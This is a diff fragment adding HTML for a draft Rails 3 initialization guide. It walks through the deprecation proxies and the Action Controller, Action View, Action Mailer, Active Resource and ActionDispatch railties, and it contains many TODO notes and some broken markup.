+<p>Why do we mention them here? Beside the obvious-by-now fact that we&#8217;re covering just about everything about the initialization process in this guide, if you&#8217;re deprecating something in your library and you use Active Support, you too can use the <tt>DeprecationProxy</tt> class (and it&#8217;s subclasses) too.</p>
+<h6 id="deprecationproxy">5.32.20.1 <tt>DeprecationProxy</tt></h6>
+<p>This class is used only in <em>railties/lib/rails/deprecation.rb</em>, loaded further on in the initialization process. It&#8217;s used in this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+RAILS_ROOT = (Class.new(ActiveSupport::Deprecation::DeprecationProxy) do
+    cattr_accessor :warned
+    self.warned = false
+
+    def target
+      Rails.root
+    end
+
+    def replace(*args)
+      warn(caller, :replace, *args)
+    end
+
+    def warn(callstack, called, args)
+      unless warned
+        ActiveSupport::Deprecation.warn(&quot;RAILS_ROOT is deprecated! Use Rails.root instead&quot;, callstack)
+        self.warned = true
+      end
+    end
+  end).new
+</pre>
+</div>
+</notextile>
+
+<p>There is similar definitions for the other constants of <tt>RAILS_ENV</tt> and <tt>RAILS_DEFAULT_LOGGER</tt>. All three of these constants are in the midst of being deprecated (most likely in Rails 3.1) so Rails will tell you if you reference them that they&#8217;re deprecated using the <tt>DeprecationProxy</tt> class. Whenever you call <tt>RAILS_ROOT</tt> this will raise a warning, telling you: &#8220;RAILS_ROOT is deprecated! Use Rails.root instead&#8221;&#8230;. <span class="caps">TODO</span>: investigate if simply calling it does raise this warning. This same rule applies to <tt>RAILS_ENV</tt> and <tt>RAILS_DEFAULT_LOGGER</tt>, their new alternatives are <tt>Rails.env</tt> and <tt>Rails.logger</tt> respectively.</p>
+<h6 id="deprecatedobjectproxy">5.32.20.2 <tt>DeprecatedObjectProxy</tt></h6>
+<p>This is used in one place <em>actionpack/lib/action_controller/railtie.rb</em>, which you may remember is how we got to the <tt>DeprecationProxy</tt> section:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveSupport::Deprecation::DeprecatedObjectProxy.new(app.routes, message)
+</pre>
+</div>
+</notextile>
+
+<p>This makes more sense in the wider scope of the initializer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+initializer &quot;action_controller.url_helpers&quot; do |app|
+    ActionController.base_hook do
+      extend ::ActionController::Railtie::UrlHelpers.with(app.routes)
+    end
+
+    message = &quot;ActionController::Routing::Routes is deprecated. &quot; \
+              &quot;Instead, use Rails.application.routes&quot;
+
+    proxy = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(app.routes, message)
+    ActionController::Routing::Routes = proxy
+  end
+</pre>
+</div>
+</notextile>
+
+<p><tt>ActionController::Routing::Routes</tt> was the previous constant used in defining routes in Rails 2 applications, now it&#8217;s simply a method on <tt>Rails.application</tt> rather than it&#8217;s own individual class: <tt>Rails.application.routes</tt>. Both of these still call the <tt>draw</tt> method on the returned object to end up defining the routes.</p>
+<h6 id="deprecatedinstancevariableproxy">5.32.20.3 <tt>DeprecatedInstanceVariableProxy</tt></h6>
+<p>This isn&#8217;t actually used anywhere in Rails anymore. It was used previously for when <tt>@request</tt> and <tt>@params</tt> were deprecated in Rails 2. It has been kept around as it could be useful for the same purposes in libraries that use Active Support.</p>
+<h6 id="deprecatedconstantproxy">5.32.20.4 <tt>DeprecatedConstantProxy</tt></h6>
+<p>This method is used in a couple of places, <em>activesupport/lib/active_support/json/encoding.rb</em> and <em>railties/lib/rails/rack.rb</em>.</p>
+<p>In <em>encoding.rb</em> it&#8217;s used to define a constant that&#8217;s now been deprecated:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+CircularReferenceError = Deprecation::DeprecatedConstantProxy.new('ActiveSupport::JSON::CircularReferenceError', Encoding::CircularReferenceError)
+</pre>
+</div>
+</notextile>
+
+<p>Now when you reference <tt>ActiveSupport::JSON::CircularReferenceError</tt> you&#8217;ll receive a warning:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ActiveSupport::JSON::CircularReferenceError is deprecated! Use Encoding::CircularReferenceError instead.
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_support-deprecation">5.32.21 <tt>require "active_support/deprecation"</tt></h5>
+<p>This re-opens the <tt>ActiveSupport::Deprecation</tt> module which was already defined by our deprecation proxies. Before this happens however we have 4 requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/deprecation/behaviors'
+  require 'active_support/deprecation/reporting'
+  require 'active_support/deprecation/method_wrappers'
+  require 'active_support/deprecation/proxy_wrappers'
+</pre>
+</div>
+</notextile>
+
+<p>The remainder of this file goes about setting up the <tt>silenced</tt> and <tt>debug</tt> accessors:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveSupport
+    module Deprecation #:nodoc:
+      class &lt;&lt; self
+        # The version the deprecated behavior will be removed, by default.
+        attr_accessor :deprecation_horizon
+      end
+      self.deprecation_horizon = '3.0'
+
+      # By default, warnings are not silenced and debugging is off.
+      self.silenced = false
+      self.debug = false
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_support-deprecation-behaviors">5.32.22 <tt>require "active_support/deprecation/behaviors"</tt></h5>
+<p>This sets up some default behavior for the warnings raised by <tt>ActiveSupport::Deprecation</tt>, defining different ones for <em>development</em> and <em>test</em> and nothing for production, as we never want deprecation warnings in production:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Default warning behaviors per Rails.env. Ignored in production.
+  DEFAULT_BEHAVIORS = {
+    'test' =&gt; Proc.new { |message, callstack|
+       $stderr.puts(message)
+       $stderr.puts callstack.join(&quot;\n  &quot;) if debug
+     },
+    'development' =&gt; Proc.new { |message, callstack|
+       logger =
+         if defined?(Rails) &amp;&amp; Rails.logger
+           Rails.logger
+         else
+           require 'logger'
+           Logger.new($stderr)
+         end
+       logger.warn message
+       logger.debug callstack.join(&quot;\n  &quot;) if debug
+     }
+  }
+</pre>
+</div>
+</notextile>
+
+<p>In the <em>test</em> environment, we will see the deprecation errors displayed in <tt>$stderr</tt> and in <em>development</em> mode, these are sent to <tt>Rails.logger</tt> if it exists, otherwise it is output to <tt>$stderr</tt> in a very similar fashion to the <em>test</em> environment. These are both defined as procs, so Active Support can pass arguments to the <tt>call</tt> method we call on it when Active Support <tt>warn</tt>.</p>
+<h5 id="require-active_support-deprecation-reporting">5.32.23 <tt>require 'active_support/deprecation/reporting'</tt></h5>
+<p>This file defines further extensions to the <tt>ActiveSupport::Deprecation</tt> module, including the <tt>warn</tt> method which is used from Active Support&#8217;s <tt>DeprecationProxy</tt> class and an <tt>attr_accessor</tt> on the class called <tt>silenced</tt>. This checks that we have a behavior defined, which we do in the <em>test</em> and <em>development</em> environments, and that we&#8217;re not <tt>silenced</tt> before warning about deprecations by <tt>call</tt>&#8217;ing the <tt>Proc</tt> time.</p>
+<p>This file also defines a <tt>silence</tt> method on the module also which you can pass a block to temporarily silence errors:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveSupport::Deprecation.silence do
+    puts &quot;YOU CAN FIND ME HERE: #{RAILS_ROOT}&quot;
+  end
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span>: may have to correct this example.</p>
+<h5 id="require-active_support-deprecation-method_wrappers">5.32.24 <tt>require 'active_support/deprecation/method_wrappers'</tt></h5>
+<p>This file defines a class method on <tt>ActiveSupport::Deprecation</tt> called <tt>deprecate_methods</tt>. This method is used in <em>activesupport/lib/active_support/core_ext/module/deprecation.rb</em> to allow you to declare deprecated methods on modules:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Module
+    # Declare that a method has been deprecated.
+    #   deprecate :foo
+    #   deprecate :bar =&gt; 'message'
+    #   deprecate :foo, :bar, :baz =&gt; 'warning!', :qux =&gt; 'gone!'
+    def deprecate(*method_names)
+      ActiveSupport::Deprecation.deprecate_methods(self, *method_names)
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-action_controller-railtie">5.32.25 <tt>require 'action_controller/railtie'</tt></h5>
+<p>Inside <tt>ActionController::Railtie</tt> there are another two requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_controller/railties/log_subscriber&quot;
+  require &quot;action_controller/railties/url_helpers&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-action_controller-railties-log_subscriber">5.32.26 <tt>require 'action_controller/railties/log_subscriber'</tt></h5>
+<p><tt>ActionController::Railties::LogSubscriber</tt> inherits from <tt>Rails::LogSubscriber</tt> and defines methods for logging such things as action processing and file sending.</p>
+<h5 id="require-action_controller-railties-url_helpers">5.32.27 <tt>require 'action_controller/railties/url_helpers'</tt></h5>
+<p>This file defines a <tt>with</tt> method on <tt>ActionController::Railtie::UrlHelpers</tt> which is later used in the <tt>action_controller.url_helpers</tt> initializer. For more information see the <tt>action_controller.url_helpers</tt> initializer section.</p>
+<h5 id="action-controller-railtie">5.32.28 Action Controller Railtie</h5>
+<p>After these requires it deprecates a couple of ex-Action Controller methods and points whomever references them to their ActionDispatch equivalents. These methods are <tt>session</tt>, <tt>session=</tt>, <tt>session_store</tt> and <tt>session_store=</tt>.</p>
+<p>After the deprecations, Rails defines the <tt>log_subscriber</tt> to be a new instance of <tt>ActionController::Railties::LogSubscriber</tt> and then go about defining the following initializers, keeping in mind that these are added to the list of initializers defined before hand:</p>
+<ul>
+	<li>action_controller.logger</li>
+	<li>action_controller.set_configs</li>
+	<li>action_controller.initialize_framework_caches</li>
+	<li>action_controller.set_helpers_path</li>
+	<li>action_controller.url_helpers</li>
+</ul>
+<h4 id="action-view-railtie">5.33 Action View Railtie</h4>
+<p>The Action View Railtie provides the backend code for your views and it puts the C into <span class="caps">MVC</span>. This implements the <tt>ActionView::Base</tt> of which all views and partials are objects of.</p>
+<h5 id="require-action_view-railtie">5.33.1 <tt>require 'action_view/railtie'</tt></h5>
+<p>The Railtie is defined in a file called <em>actionpack/lib/action_view/railtie.rb</em> and initially makes a call to <tt>require 'action_view'</tt>.</p>
+<h5 id="require-action_view">5.33.2 <tt>require 'action_view'</tt></h5>
+<p>Here again we have the addition of the path to Active Support to the load path attempted, but because it&#8217;s already in the load path it will not be added. Similarly, we have two requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/ruby/shim'
+  require 'active_support/core_ext/class/attribute_accessors'
+</pre>
+</div>
+</notextile>
+
+<p>And these have already been required. If you wish to know what these files do go to the explanation of each in the &#8220;Common Includes&#8221; section. <span class="caps">TODO</span>: link to them!</p>
+<p>This file goes on to <tt>require 'action_pack'</tt> which consists of all this code (comments stripped):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'action_pack/version'
+</pre>
+</div>
+</notextile>
+
+<p>the <em>version</em> file contains this code (comments stripped):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionPack #:nodoc:
+    module VERSION #:nodoc:
+      MAJOR = 3
+      MINOR = 0
+      TINY  = 0
+
+      STRING = [MAJOR, MINOR, TINY].join('.')
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span>: Why?!</p>
+<p>This file goes on to define the <tt>ActionView</tt> module and its <tt>autoload</tt>&#8217;d modules and then goes on to make two more requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/core_ext/string/output_safety'
+  require 'action_view/base'
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_support-core_ext-string-output_safety">5.33.3 <tt>require 'active_support/core_ext/string/output_safety'</tt></h5>
+<p>The <em>actionpack/lib/active_support/core_ext/string/output_saftey.rb</em> file is responsible for the code used in escaping <span class="caps">HTML</span> and <span class="caps">JSON</span>, namely the <tt>html_escape</tt> and <tt>json_escape</tt> methods. It does this by overriding these methods in <tt>Erb::Util</tt> which is later included into <tt>ActionView::Base</tt>. This also defines <tt>ActiveSupport::SafeBuffer</tt> which descends from <tt>String</tt> and is used for concatenating safe output from your views to <span class="caps">ERB</span> templates.</p>
+<h5 id="require-action_view-base">5.33.4 <tt>require 'action_view/base'</tt></h5>
+<p>This file initially makes requires to the following files:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/core_ext/module/attr_internal'
+  require 'active_support/core_ext/module/delegation'
+  require 'active_support/core_ext/class/attribute'
+</pre>
+</div>
+</notextile>
+
+<p>These are explained in their relevant areas inside the &#8220;Common Includes&#8221; section.</p>
+<p>The remainder of this file sets up the <tt>ActionView</tt> module and the <tt>ActionView::Base</tt> class which is the class of all view templates. Inside of <tt>ActionView::Base</tt> it makes an include to several helper modules:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+include Helpers, Rendering, Partials, Layouts, ::ERB::Util, Context
+</pre>
+</div>
+</notextile>
+
+<h5 id="actionview-helpers">5.33.5 <tt>ActionView::Helpers</tt></h5>
+<p>This module, from <em>actionpack/lib/action_view/helpers.rb_, initially sets up the <tt>autoload</tt>&#8217;s for the various <tt>ActionView::Helpers</tt> modules (<span class="caps">TODO</span>: mysteriously not using <tt>autoload</em>under</tt></notextile>). This also sets up a <tt>ClassMethods</tt> module which is included automatically into wherever <tt>ActionView::Helpers</tt> is included by defining a <tt>self.included</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.included(base)
+    base.extend(ClassMethods)
+  end
+
+  module ClassMethods
+    include SanitizeHelper::ClassMethods
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Inside of <tt>SanitizeHelper::ClassMethods</tt> it defines, of course, methods for assisting with sanitizing in Rails such as <tt>link_sanitizer</tt> which is used by the <tt>strip_links</tt> method.</p>
+<p>Afterwards this includes the <tt>ActiveSupport::Benchmarkable</tt> which is used for benchmarking how long a specific thing takes in a view. The method is simply <tt>benchmark</tt> and can be used like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+benchmark(&quot;potentially long running thing&quot;) do
+    Post.count
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <a href="http://api.rails.info/classes/ActiveSupport/Benchmarkable.html#M000607">documentation</a> is great about explaining what precisely this does. (<span class="caps">TODO</span>: replace link with real documentation link when it becomes available.)</p>
+<p>This module is also included into Active Record and <tt>AbstractController</tt>, meaning you can also use the <tt>benchmark</tt> method in these methods.</p>
+<p>After including <tt>ActiveSupport::Benchmarkable</tt>, the helpers which we have declared to be <tt>autoload</tt>&#8216;d are included. I will not go through and cover what each of these helpers do, as their names should be fairly explicit about it, and it&#8217;s not really within the scope of this guide.</p>
+<h5 id="actionview-rendering">5.33.6 <tt>ActionView::Rendering</tt></h5>
+<p>This module, from <em>actionpack/lib/action_view/render/rendering.rb</em> defines a method you may be a little too familiar with: <tt>render</tt>. This is the <tt>render</tt> use for rendering all kinds of things, such as partials, templates and text.</p>
+<h5 id="actionview-partials">5.33.7 <tt>ActionView::Partials</tt></h5>
+<p>This module, from <em>actionpack/lib/action_view/render/partials.rb</em>, defines <tt>ActionView::Partials::PartialRenderer</tt> which you can probably guess is used for rendering partials.</p>
+<h5 id="actionview-layouts">5.33.8 <tt>ActionView::Layouts</tt></h5>
+<p>This module, from <em>actionpack/lib/action_view/render/layouts.rb_, defines <tt>ActionView::Layouts</tt> which defines methods such as <tt>find</em>layout</tt></notextile> for locating layouts.</p>
+<h5 id="erb-util">5.33.9 <tt>ERB::Util</tt></h5>
+<p>The <tt>ERB::Util</tt> module from Ruby core, as the document describes it: &#8220;A utility module for conversion routines, often handy in <span class="caps">HTML</span> generation&#8221;. It offers two methods <tt>html_escape</tt> and <tt>url_encode</tt>, with a third called <tt>json_escape</tt> being added in by the requirement of <em>actionpack/lib/active_support/core_ext/string/output_saftey.rb</em> earlier. As explained earlier, <tt>html_escape</tt> is overridden to return a string marked as safe.</p>
+<h5 id="actionview-context">5.33.10 <tt>ActionView::Context</tt></h5>
+<p><span class="caps">TODO</span>: Not entirely sure what this is all about. Something about the context of view rendering&#8230; can&#8217;t work it out.</p>
+<h5 id="action-view-railtie">5.33.11 Action View Railtie</h5>
+<p>Now that <em>actionpack/lib/action_view.rb</em> has been required, the next step is to <tt>require 'rails'</tt>, but this will be skipped as the file was required by <em>railties/lib/rails/all.rb</em> way back in the beginnings of the initialization process.</p>
+<p>Next, the Railtie itself is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionView
+    class Railtie &lt; Rails::Railtie
+      railtie_name :action_view
+
+      require &quot;action_view/railties/log_subscriber&quot;
+      log_subscriber ActionView::Railties::LogSubscriber.new
+
+      initializer &quot;action_view.cache_asset_timestamps&quot; do |app|
+        unless app.config.cache_classes
+          ActionView.base_hook do
+            ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
+          end
+        end
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>ActionView::LogSubscriber</tt> sets up a method called <tt>render_template</tt> which is called when a template is rendered. <span class="caps">TODO</span>: Templates only or partials and layouts also? I would imagine these fall under the templates category, but there needs to research to ensure this is correct.</p>
+<p>The sole initializer defined here, <em>action_view.cache_asset_timestamps</em> is responsible for caching the timestamps on the ends of your assets. If you&#8217;ve ever seen a link generated by <tt>image_tag</tt> or <tt>stylesheet_link_tag</tt> you would know that I mean that this timestamp is the number after the <em>?</em> in this example: <em>/javascripts/prototype.js?1265442620_. This initializer will do nothing if <tt>cache</em>classes</tt></notextile> is set to false in any of your application&#8217;s configuration. <span class="caps">TODO</span>: Elaborate.</p>
+<h4 id="action-mailer-railtie">5.34 Action Mailer Railtie</h4>
+<p>The Action Mailer Railtie is responsible for including all the emailing functionality into Rails by way of the Action Mailer gem itself. Action Mailer is:</p>
+<p>Action Mailer is a framework for designing email-service layers. These layers
+are used to consolidate code for sending out forgotten passwords, welcome
+wishes on signup, invoices for billing, and any other use case that requires
+a written notification to either a person or another system.</p>
+<p>Action Mailer is in essence a wrapper around Action Controller and the
+Mail gem.  It provides a way to make emails using templates in the same
+way that Action Controller renders views using templates.</p>
+<p><span class="caps">TODO</span>: Quotify.</p>
+<h5 id="require-action_mailer-railtie">5.34.1 <tt>require 'action_mailer/railtie'</tt></h5>
+<p>This file first makes two requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_mailer&quot;
+  require &quot;rails&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The requires in <tt>action_mailer</tt> are already loaded or are core extensions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'abstract_controller'
+  require 'action_view'
+
+  # Common Active Support usage in Action Mailer
+  require 'active_support/core_ext/class'
+  require 'active_support/core_ext/object/blank'
+  require 'active_support/core_ext/array/uniq_by'
+  require 'active_support/core_ext/module/attr_internal'
+  require 'active_support/core_ext/module/delegation'
+  require 'active_support/core_ext/string/inflections'
+  require 'active_support/lazy_load_hooks'
+</pre>
+</div>
+</notextile>
+
+<p><em>abstract_controller</em> is covered in the &#8220;Action Controller Railtie&#8221; section. <span class="caps">TODO</span>: Cover AbstractController there and link to it.
+<em>action_view</em> was required by the Action View Railtie and will not be required again.</p>
+<p>For the core extensions you may reference the &#8220;Core Extensions&#8221; guide. <span class="caps">TODO</span>: Link to guide.</p>
+<p><em>active_support/lazy_load_hooks</em> was covered earlier in the guide and since it has already been required at this point in the initialization process, it will not be required again.</p>
+<p>The <tt>require "rails"</tt> is referencing the <em>railties/lib/rails.rb</em> file which was included back in <span class="caps">TODO</span>: link to section.</p>
+<p><em>actionmailer/lib/action_mailer.rb</em> then goes on to define the <tt>ActionMailer</tt> module:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActionMailer
+    extend ::ActiveSupport::Autoload
+
+    autoload :AdvAttrAccessor
+    autoload :Collector
+    autoload :Base
+    autoload :DeliveryMethods
+    autoload :DeprecatedApi
+    autoload :MailHelper
+    autoload :OldApi
+    autoload :Quoting
+    autoload :TestCase
+    autoload :TestHelper
+  end
+</pre>
+</div>
+</notextile>
+
+<p>And a <tt>Text</tt> module too:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Text
+    extend ActiveSupport::Autoload
+
+    autoload :Format, 'text/format'
+  end
+</pre>
+</div>
+</notextile>
+
+<p>which is used by the <tt>ActionMailer::MailerHelper</tt> method <tt>block_format</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def block_format(text)
+    formatted = text.split(/\n\r\n/).collect { |paragraph|
+      Text::Format.new(
+        :columns =&gt; 72, :first_indent =&gt; 2, :body_indent =&gt; 2, :text =&gt; paragraph
+      ).format
+    }.join(&quot;\n&quot;)
+
+    # Make list points stand on their own line
+    formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| &quot;  #{$1} #{$2.strip}\n&quot; }
+    formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| &quot;  #{$1} #{$2.strip}\n&quot; }
+
+    formatted
+  end
+</pre>
+</div>
+</notextile>
+
+<h5 id="action-mailer-railtie">5.34.2 Action Mailer Railtie</h5>
+<p>The Railtie defines the <tt>log_subscriber</tt> as <tt>ActionMailer::Railties::LogSubscriber.new</tt>, with this class having two logging methods: one for delivery called <tt>deliver</tt> and one for receipt called <tt>receive</tt>.</p>
+<p>The initializers defined in this Railtie are:</p>
+<ul>
+	<li>action_mailer.url_for</li>
+	<li>action_mailer.logger</li>
+	<li>action_mailer.set_configs</li>
+</ul>
+<p>These are covered later on the Initialization section. <span class="caps">TODO</span>: first write then link to Initialization section.</p>
+<h4 id="active-resource-railtie">5.35 Active Resource Railtie</h4>
+<p>The Active Resource Railtie is responsible for creating an interface into remote sites that offer a <span class="caps">REST</span> <span class="caps">API</span>. The Active Resource Railtie depends on Active Support and Active Model.</p>
+<h5 id="require-active_resource-railtie">5.35.1 <tt>require 'active_resource/railtie'</tt></h5>
+<p>This file defines the Active Resource Railtie:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;active_resource&quot;
+  require &quot;rails&quot;
+
+  module ActiveResource
+    class Railtie &lt; Rails::Railtie
+      railtie_name :active_resource
+
+      require &quot;active_resource/railties/log_subscriber&quot;
+      log_subscriber ActiveResource::Railties::LogSubscriber.new
+
+      initializer &quot;active_resource.set_configs&quot; do |app|
+        app.config.active_resource.each do |k,v|
+          ActiveResource::Base.send &quot;#{k}=&quot;, v
+        end
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>require 'rails'</tt> has already been done back in <span class="caps">TODO</span>: link to section.</p>
+<h5 id="require-active_resource">5.35.2 <tt>require 'active_resource'</tt></h5>
+<p>This file, <em>activeresource/lib/active_resource.rb_, defines the <tt>ActiveResource</tt> module, first off this will add the path to Active Support and Active Model to the load path if it&#8217;s not already there, then require both <tt>active_support</tt> (<em>activesupport/lib/active_support.rb_) and <tt>active_model</tt> (_activemodel/lib/active</em>model.rb</em>)</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
+  $:.unshift(activesupport_path) if File.directory?(activesupport_path) &amp;&amp; !$:.include?(activesupport_path)
+
+  activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
+  $:.unshift(activemodel_path) if File.directory?(activemodel_path) &amp;&amp; !$:.include?(activemodel_path)
+
+  require 'active_support'
+  require 'active_model'
+
+  module ActiveResource
+    extend ActiveSupport::Autoload
+
+    autoload :Base
+    autoload :Connection
+    autoload :CustomMethods
+    autoload :Formats
+    autoload :HttpMock
+    autoload :Observing
+    autoload :Schema
+    autoload :Validations
+  end
+</pre>
+</div>
+</notextile>
+
+<h5 id="active-resource-railtie">5.35.3 Active Resource Railtie</h5>
+<p>The Railtie itself is fairly short as Active Resource is the smallest component of Rails.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveResource
+    class Railtie &lt; Rails::Railtie
+      railtie_name :active_resource
+
+      require &quot;active_resource/railties/log_subscriber&quot;
+      log_subscriber ActiveResource::Railties::LogSubscriber.new
+
+      initializer &quot;active_resource.set_configs&quot; do |app|
+        app.config.active_resource.each do |k,v|
+          ActiveResource::Base.send &quot;#{k}=&quot;, v
+        end
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The Railtie defines the <tt>log_subscriber</tt> as <tt>ActiveResource::Railties::LogSubscriber.new</tt> which has one method defined: <tt>request</tt>. <tt>request</tt> is used whenever a request is made to an external service.</p>
+<p>There is only one initializer defined here: <tt>set_configs</tt>. This is covered later in the Initialization section.</p>
+<h4 id="actiondispatch-railtie">5.36 ActionDispatch Railtie</h4>
+<p>ActionDispatch handles all dispatch work for Rails. It interfaces with Action Controller to determine what action to undertake when a request comes in. <span class="caps">TODO</span>: I would quote the <span class="caps">README</span> but it is strangely absent. Flyin&#8217; blind here!</p>
+<p>The ActionDispatch Railtie was previously required when we called <tt>require 'rails'</tt>, but we will cover the Railtie here too.</p>
+<p>ActionDispatch depends on Active Support.</p>
+<h5 id="require-action_dispatch-railtie">5.36.1 <tt>require 'action_dispatch/railtie'</tt></h5>
+<p>This file defines the ActionDispatch Railtie:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_dispatch&quot;
+  require &quot;rails&quot;
+
+  module ActionDispatch
+    class Railtie &lt; Rails::Railtie
+      railtie_name :action_dispatch
+
+      config.action_dispatch.x_sendfile_header = &quot;X-Sendfile&quot;
+      config.action_dispatch.ip_spoofing_check = true
+
+      # Prepare dispatcher callbacks and run 'prepare' callbacks
+      initializer &quot;action_dispatch.prepare_dispatcher&quot; do |app|
+        # TODO: This used to say unless defined?(Dispatcher). Find out why and fix.
+        require 'rails/dispatcher'
+        ActionDispatch::Callbacks.to_prepare { app.routes_reloader.reload_if_changed }
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>require 'rails'</tt> has already been done back in <span class="caps">TODO</span>: link to section.</p>
+<h5 id="require-action_dispatch">5.36.2 <tt>require 'action_dispatch'</tt></h5>
+<p>This file was already loaded earlier in the initialization process. <span class="caps">TODO</span>: link to it.</p>
+<h5 id="actiondispatch-railtie">5.36.3 ActionDispatch Railtie</h5>
+<p>The ActionDispatch Railtie is almost as short as the Active Resource Railtie:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_dispatch&quot;
+  require &quot;rails&quot;
+
+  module ActionDispatch
+    class Railtie &lt; Rails::Railtie
+      railtie_name :action_dispatch
+
+      config.action_dispatch.x_sendfile_header = &quot;X-Sendfile&quot;
+      config.action_dispatch.ip_spoofing_check = true
+
+      # Prepare dispatcher callbacks and run 'prepare' callbacks
+      initializer &quot;action_dispatch.prepare_dispatcher&quot; do |app|
+        # TODO: This used to say unless defined?(Dispatcher). Find out why and fix.
+        require 'rails/dispatcher'
+        ActionDispatch::Callbacks.to_prepare { app.routes_reloader.reload_if_changed }
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>config</tt> method here is from <tt>Rails::Railtie</tt> and pertains to your application&#8217;s configuration. In this case, it is setting up some defaults which you can later override in <em>config/application.rb</em>.</p>
+<p>This Railtie does not define a <tt>log_subscriber</tt> and only defines one initializer: <tt>prepare_dispatcher</tt>.</p>
+<h3 id="return-to-_config-application-rb_">6 Return to <em>config/application.rb</em></h3>
+<p>Now that Rails has finished loading all the Railties by way of <tt>require 'rails/all'</tt> Rails can now move on to the next line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Bundler.require :default, Rails.env
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>It is worth mentioning here that you are not tied to using Bundler with Rails 3, but it is (of course) advised that you do. To &#8220;turn off&#8221; Bundler, comment out or remove the corresponding lines in <em>config/application.rb</em> and <em>config/boot.rb</em>.</p></div>
+<p>Bundler was <tt>require</tt>&#8216;d back in <em>config/boot.rb</em>, and so that is what makes it available here. This guide does not dive into the internals of Bundler; it&#8217;s really it&#8217;s own separate guide.</p>
+<p>The <tt>Bundler.require</tt> method adds all the gems not specified inside a <tt>group</tt> in the <tt>Gemfile</tt> and the ones specified in groups for the <tt>Rails.env</tt> (in this case, <em>development</em>), to the load path. This is how an application is able to find them.</p>
+<p>The rest of this file is spent defining your application&#8217;s main class. This is it without the comments:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module YourApp
+    class Application &lt; Rails::Application
+      config.encoding = &quot;utf-8&quot;
+      config.filter_parameters += [:password]
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h3 id="return-to-rails">7 Return to Rails</h3>
+<p>On the surface, this looks like a simple class inheritance. There&#8217;s more underneath though. back in <tt>Rails::Application</tt>, the <tt>inherited</tt> method is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def inherited(base)
+    raise &quot;You cannot have more than one Rails::Application&quot; if Rails.application
+    super
